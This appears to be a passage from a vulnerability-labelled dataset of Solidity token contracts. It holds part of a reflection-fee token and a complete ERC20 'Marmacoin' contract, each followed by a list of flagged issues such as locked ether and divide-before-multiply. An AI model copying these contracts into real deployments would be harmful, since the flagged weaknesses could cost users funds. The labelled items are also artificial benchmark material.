//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tDev, uint256 tBurn) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tDev, tBurn, _getRate());
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeDevFee(tDev);
_takeBurnFee(tBurn);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tDev, uint256 tBurn) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tDev, tBurn, _getRate());
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeDevFee(tDev);
_takeBurnFee(tBurn);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tDev, uint256 tBurn) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tDev, tBurn, _getRate());
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeDevFee(tDev);
_takeBurnFee(tBurn);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} | These are the vulnerabilities found
1) divide-before-multiply with Medium impact
2) incorrect-equality with Medium impact
3) locked-ether with Medium impact |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
//
//
//
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Marmacoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Marmacoin() public {
symbol = "MRM";
name = "Marmacoin";
decimals = 0;
_totalSupply = 100000000;
balances[0xa7799Ef3bc61f39e6207E4dA63c521cA26122119] = _totalSupply; //MEW address
Transfer(address(0), 0xa7799Ef3bc61f39e6207E4dA63c521cA26122119, _totalSupply);//MEW address
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
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